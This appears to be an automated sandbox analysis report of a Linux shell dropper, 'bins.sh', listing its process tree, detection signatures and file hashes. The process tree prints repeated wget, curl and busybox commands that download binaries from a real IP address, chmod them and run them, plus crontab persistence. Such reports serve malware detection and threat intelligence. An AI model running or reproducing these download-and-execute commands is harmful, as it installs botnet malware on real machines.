Analysis

  • max time kernel
    149s
  • max time network
    138s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    29/10/2024, 17:03

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241029-vkn7eaykfp
  • SHA256 79b33bc20663f7ec3c3b8c98e046f97c3548c8fefbc4cc83fb92d21ec3b6bc50
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 9 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:647
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:652
        • /usr/bin/wget
          wget http://87.120.84.230/bins/vDSizMRTHKWroOxnSNIQRfbKMplQhtuKof
          2⤵
          • Writes file to tmp directory
          PID:654
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/vDSizMRTHKWroOxnSNIQRfbKMplQhtuKof
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:666
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/vDSizMRTHKWroOxnSNIQRfbKMplQhtuKof
          2⤵
          • Writes file to tmp directory
          PID:675
        • /bin/chmod
          chmod 777 vDSizMRTHKWroOxnSNIQRfbKMplQhtuKof
          2⤵
          • File and Directory Permissions Modification
          PID:677
        • /tmp/vDSizMRTHKWroOxnSNIQRfbKMplQhtuKof
          ./vDSizMRTHKWroOxnSNIQRfbKMplQhtuKof
          2⤵
          • Executes dropped EXE
          PID:678
        • /bin/rm
          rm vDSizMRTHKWroOxnSNIQRfbKMplQhtuKof
          2⤵
            PID:680
          • /usr/bin/wget
            wget http://87.120.84.230/bins/GxoIeiksqXLylxvulHh8YdsRWeh0g4pxuY
            2⤵
            • Writes file to tmp directory
            PID:682
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/GxoIeiksqXLylxvulHh8YdsRWeh0g4pxuY
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:709
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/GxoIeiksqXLylxvulHh8YdsRWeh0g4pxuY
            2⤵
            • Writes file to tmp directory
            PID:735
          • /bin/chmod
            chmod 777 GxoIeiksqXLylxvulHh8YdsRWeh0g4pxuY
            2⤵
            • File and Directory Permissions Modification
            PID:738
          • /tmp/GxoIeiksqXLylxvulHh8YdsRWeh0g4pxuY
            ./GxoIeiksqXLylxvulHh8YdsRWeh0g4pxuY
            2⤵
            • Executes dropped EXE
            PID:739
          • /bin/rm
            rm GxoIeiksqXLylxvulHh8YdsRWeh0g4pxuY
            2⤵
              PID:742
            • /usr/bin/wget
              wget http://87.120.84.230/bins/AzaAgXVu5yTcRy5MeB7Ux94HnRnOh2mi90
              2⤵
              • Writes file to tmp directory
              PID:744
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/AzaAgXVu5yTcRy5MeB7Ux94HnRnOh2mi90
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:767
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/AzaAgXVu5yTcRy5MeB7Ux94HnRnOh2mi90
              2⤵
              • Writes file to tmp directory
              PID:768
            • /bin/chmod
              chmod 777 AzaAgXVu5yTcRy5MeB7Ux94HnRnOh2mi90
              2⤵
              • File and Directory Permissions Modification
              PID:769
            • /tmp/AzaAgXVu5yTcRy5MeB7Ux94HnRnOh2mi90
              ./AzaAgXVu5yTcRy5MeB7Ux94HnRnOh2mi90
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:770
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:772
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                    • Reads runtime system information
                    PID:773
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:774
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      • Reads runtime system information
                      PID:775
                • /bin/rm
                  rm AzaAgXVu5yTcRy5MeB7Ux94HnRnOh2mi90
                  2⤵
                    PID:777
                  • /usr/bin/wget
                    wget http://87.120.84.230/bins/WhfjuTwYtvJUMuLSUQvh5cMQmojJwCzwtr
                    2⤵
                      PID:781
                    • /usr/bin/curl
                      curl -O http://87.120.84.230/bins/WhfjuTwYtvJUMuLSUQvh5cMQmojJwCzwtr
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      PID:782
                    • /bin/busybox
                      /bin/busybox wget http://87.120.84.230/bins/WhfjuTwYtvJUMuLSUQvh5cMQmojJwCzwtr
                      2⤵
                      • Writes file to tmp directory
                      PID:783
                    • /bin/chmod
                      chmod 777 WhfjuTwYtvJUMuLSUQvh5cMQmojJwCzwtr
                      2⤵
                      • File and Directory Permissions Modification
                      PID:786
                    • /tmp/WhfjuTwYtvJUMuLSUQvh5cMQmojJwCzwtr
                      ./WhfjuTwYtvJUMuLSUQvh5cMQmojJwCzwtr
                      2⤵
                      • Executes dropped EXE
                      PID:787
                    • /bin/rm
                      rm WhfjuTwYtvJUMuLSUQvh5cMQmojJwCzwtr
                      2⤵
                        PID:789
                      • /usr/bin/wget
                        wget http://87.120.84.230/bins/02PmZmtBzUxcBPUntXFGJk5kYAhRbRQmlS
                        2⤵
                          PID:790
                        • /usr/bin/curl
                          curl -O http://87.120.84.230/bins/02PmZmtBzUxcBPUntXFGJk5kYAhRbRQmlS
                          2⤵
                          • Checks CPU configuration
                          PID:791
                        • /bin/busybox
                          /bin/busybox wget http://87.120.84.230/bins/02PmZmtBzUxcBPUntXFGJk5kYAhRbRQmlS
                          2⤵
                          • Writes file to tmp directory
                          PID:792
                        • /bin/chmod
                          chmod 777 02PmZmtBzUxcBPUntXFGJk5kYAhRbRQmlS
                          2⤵
                          • File and Directory Permissions Modification
                          PID:793
                        • /tmp/02PmZmtBzUxcBPUntXFGJk5kYAhRbRQmlS
                          ./02PmZmtBzUxcBPUntXFGJk5kYAhRbRQmlS
                          2⤵
                          • Executes dropped EXE
                          PID:797
                        • /bin/rm
                          rm 02PmZmtBzUxcBPUntXFGJk5kYAhRbRQmlS
                          2⤵
                            PID:799
                          • /usr/bin/wget
                            wget http://87.120.84.230/bins/3leeaWspVeaz3bERNQUrfL13OlU1X6l3Xx
                            2⤵
                              PID:800
                            • /usr/bin/curl
                              curl -O http://87.120.84.230/bins/3leeaWspVeaz3bERNQUrfL13OlU1X6l3Xx
                              2⤵
                              • Checks CPU configuration
                              PID:801
                            • /bin/busybox
                              /bin/busybox wget http://87.120.84.230/bins/3leeaWspVeaz3bERNQUrfL13OlU1X6l3Xx
                              2⤵
                              • Writes file to tmp directory
                              PID:802
                            • /bin/chmod
                              chmod 777 3leeaWspVeaz3bERNQUrfL13OlU1X6l3Xx
                              2⤵
                              • File and Directory Permissions Modification
                              PID:818
                            • /tmp/3leeaWspVeaz3bERNQUrfL13OlU1X6l3Xx
                              ./3leeaWspVeaz3bERNQUrfL13OlU1X6l3Xx
                              2⤵
                              • Executes dropped EXE
                              PID:819
                            • /bin/rm
                              rm 3leeaWspVeaz3bERNQUrfL13OlU1X6l3Xx
                              2⤵
                                PID:821
                              • /usr/bin/wget
                                wget http://87.120.84.230/bins/qU5Pc2vRfy50UxxMHVHFBpk0xfHUkoccsH
                                2⤵
                                  PID:822
                                • /usr/bin/curl
                                  curl -O http://87.120.84.230/bins/qU5Pc2vRfy50UxxMHVHFBpk0xfHUkoccsH
                                  2⤵
                                    PID:823
                                  • /bin/busybox
                                    /bin/busybox wget http://87.120.84.230/bins/qU5Pc2vRfy50UxxMHVHFBpk0xfHUkoccsH
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:824
                                  • /bin/chmod
                                    chmod 777 qU5Pc2vRfy50UxxMHVHFBpk0xfHUkoccsH
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:825
                                  • /tmp/qU5Pc2vRfy50UxxMHVHFBpk0xfHUkoccsH
                                    ./qU5Pc2vRfy50UxxMHVHFBpk0xfHUkoccsH
                                    2⤵
                                    • Executes dropped EXE
                                    PID:826
                                  • /bin/rm
                                    rm qU5Pc2vRfy50UxxMHVHFBpk0xfHUkoccsH
                                    2⤵
                                      PID:828
                                    • /usr/bin/wget
                                      wget http://87.120.84.230/bins/ZpClUGX90azgLlBStZZBmkBGbzvwpHY233
                                      2⤵
                                        PID:829
                                      • /usr/bin/curl
                                        curl -O http://87.120.84.230/bins/ZpClUGX90azgLlBStZZBmkBGbzvwpHY233
                                        2⤵
                                        • Checks CPU configuration
                                        PID:830
                                      • /bin/busybox
                                        /bin/busybox wget http://87.120.84.230/bins/ZpClUGX90azgLlBStZZBmkBGbzvwpHY233
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:831
                                      • /bin/chmod
                                        chmod 777 ZpClUGX90azgLlBStZZBmkBGbzvwpHY233
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:832
                                      • /tmp/ZpClUGX90azgLlBStZZBmkBGbzvwpHY233
                                        ./ZpClUGX90azgLlBStZZBmkBGbzvwpHY233
                                        2⤵
                                        • Executes dropped EXE
                                        PID:833
                                      • /bin/rm
                                        rm ZpClUGX90azgLlBStZZBmkBGbzvwpHY233
                                        2⤵
                                          PID:834
                                        • /usr/bin/wget
                                          wget http://87.120.84.230/bins/nFvzs4TMtzk5zKLb94t9cuhBuxXQ2VI8hg
                                          2⤵
                                            PID:835
                                          • /usr/bin/curl
                                            curl -O http://87.120.84.230/bins/nFvzs4TMtzk5zKLb94t9cuhBuxXQ2VI8hg
                                            2⤵
                                              PID:837
                                            • /bin/busybox
                                              /bin/busybox wget http://87.120.84.230/bins/nFvzs4TMtzk5zKLb94t9cuhBuxXQ2VI8hg
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:839
                                            • /bin/chmod
                                              chmod 777 nFvzs4TMtzk5zKLb94t9cuhBuxXQ2VI8hg
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:840
                                            • /tmp/nFvzs4TMtzk5zKLb94t9cuhBuxXQ2VI8hg
                                              ./nFvzs4TMtzk5zKLb94t9cuhBuxXQ2VI8hg
                                              2⤵
                                              • Executes dropped EXE
                                              PID:841
                                            • /bin/rm
                                              rm nFvzs4TMtzk5zKLb94t9cuhBuxXQ2VI8hg
                                              2⤵
                                                PID:842
                                              • /usr/bin/wget
                                                wget http://87.120.84.230/bins/J2cOhQ2CNJz4qJBUcakf91dp5Ke5XGTMBn
                                                2⤵
                                                  PID:843
                                                • /usr/bin/curl
                                                  curl -O http://87.120.84.230/bins/J2cOhQ2CNJz4qJBUcakf91dp5Ke5XGTMBn
                                                  2⤵
                                                  • Checks CPU configuration
                                                  PID:844
                                                • /bin/busybox
                                                  /bin/busybox wget http://87.120.84.230/bins/J2cOhQ2CNJz4qJBUcakf91dp5Ke5XGTMBn
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:845
                                                • /bin/chmod
                                                  chmod 777 J2cOhQ2CNJz4qJBUcakf91dp5Ke5XGTMBn
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:848
                                                • /tmp/J2cOhQ2CNJz4qJBUcakf91dp5Ke5XGTMBn
                                                  ./J2cOhQ2CNJz4qJBUcakf91dp5Ke5XGTMBn
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:849
                                                • /bin/rm
                                                  rm J2cOhQ2CNJz4qJBUcakf91dp5Ke5XGTMBn
                                                  2⤵
                                                    PID:851
                                                  • /usr/bin/wget
                                                    wget http://87.120.84.230/bins/PLqh5FEpVWyDpNgPbK84O7nv3nF9jnFh0x
                                                    2⤵
                                                      PID:852
                                                    • /usr/bin/curl
                                                      curl -O http://87.120.84.230/bins/PLqh5FEpVWyDpNgPbK84O7nv3nF9jnFh0x
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      PID:853
                                                    • /bin/busybox
                                                      /bin/busybox wget http://87.120.84.230/bins/PLqh5FEpVWyDpNgPbK84O7nv3nF9jnFh0x
                                                      2⤵
                                                        PID:854

                                                    Network

                                                          MITRE ATT&CK Enterprise v15

                                                          Replay Monitor

                                                          Loading Replay Monitor...

                                                          Downloads

                                                          02PmZmtBzUxcBPUntXFGJk5kYAhRbRQmlS

                                                          • Path /tmp/02PmZmtBzUxcBPUntXFGJk5kYAhRbRQmlS
                                                          • Size 93KB
                                                          • SHA256 24689f385c263c42a28dd1498049171abc633faf91b5df2a738a81145d929bd6
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          3leeaWspVeaz3bERNQUrfL13OlU1X6l3Xx

                                                          • Path /tmp/3leeaWspVeaz3bERNQUrfL13OlU1X6l3Xx
                                                          • Size 101KB
                                                          • SHA256 617734b61c7e230a72fba8cb8b361bda96cc2d8f40ee358c44a60f1d9b48ab07
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          AzaAgXVu5yTcRy5MeB7Ux94HnRnOh2mi90

                                                          • Path /tmp/AzaAgXVu5yTcRy5MeB7Ux94HnRnOh2mi90
                                                          • Size 108KB
                                                          • SHA256 138a80e023ab0bbb8b2259cf3633c94c39e6f68df2be2ad01ef08590249e662c
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          GxoIeiksqXLylxvulHh8YdsRWeh0g4pxuY

                                                          • Path /tmp/GxoIeiksqXLylxvulHh8YdsRWeh0g4pxuY
                                                          • Size 84KB
                                                          • SHA256 aaf14287d7a971d4541527262e85e5930bbb7f506cff4808d712843be9f05dae
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          J2cOhQ2CNJz4qJBUcakf91dp5Ke5XGTMBn

                                                          • Path /tmp/J2cOhQ2CNJz4qJBUcakf91dp5Ke5XGTMBn
                                                          • Size 129KB
                                                          • SHA256 b62a7cb65dda1cb1ae995b13b62d20289f43b7bc560211484cfdc98c0d9b5f12
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          WhfjuTwYtvJUMuLSUQvh5cMQmojJwCzwtr

                                                          • Path /tmp/WhfjuTwYtvJUMuLSUQvh5cMQmojJwCzwtr
                                                          • Size 129KB
                                                          • SHA256 ed7e61403d47c0319eea05db0cba4d17bfb1594621d6722bfe43cffecacdf495
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          ZpClUGX90azgLlBStZZBmkBGbzvwpHY233

                                                          • Path /tmp/ZpClUGX90azgLlBStZZBmkBGbzvwpHY233
                                                          • Size 158KB
                                                          • SHA256 f09f8db2883da603f963189ef3b8185b179832de8b2e526ef63fe8b96847cc7b
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          nFvzs4TMtzk5zKLb94t9cuhBuxXQ2VI8hg

                                                          • Path /tmp/nFvzs4TMtzk5zKLb94t9cuhBuxXQ2VI8hg
                                                          • Size 122KB
                                                          • SHA256 b254f9a6df1e7aae5181abf014b9d574c959ab71bdfd3a2b21022446c583d843
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          qU5Pc2vRfy50UxxMHVHFBpk0xfHUkoccsH

                                                          • Path /tmp/qU5Pc2vRfy50UxxMHVHFBpk0xfHUkoccsH
                                                          • Size 95KB
                                                          • SHA256 adb7828df990cedc9f301891e725c547656967d827ce9cfdf3f6e8fa8242618b
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          vDSizMRTHKWroOxnSNIQRfbKMplQhtuKof

                                                          • Path /tmp/vDSizMRTHKWroOxnSNIQRfbKMplQhtuKof
                                                          • Size 80KB
                                                          • SHA256 100042d7138b4348a13c54c191d501d125b7fea7631382e7d0e9d7251057ce97
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          tmp.f54XkK

                                                          • Path /var/spool/cron/crontabs/tmp.f54XkK
                                                          • Size 210B
                                                          • SHA256 2b1dbfe2eba9e405622042a8e73c0340ba2b54ee413a4bcf828c87fd3a9f3fda
                                                          • MD5 SHA1 SHA512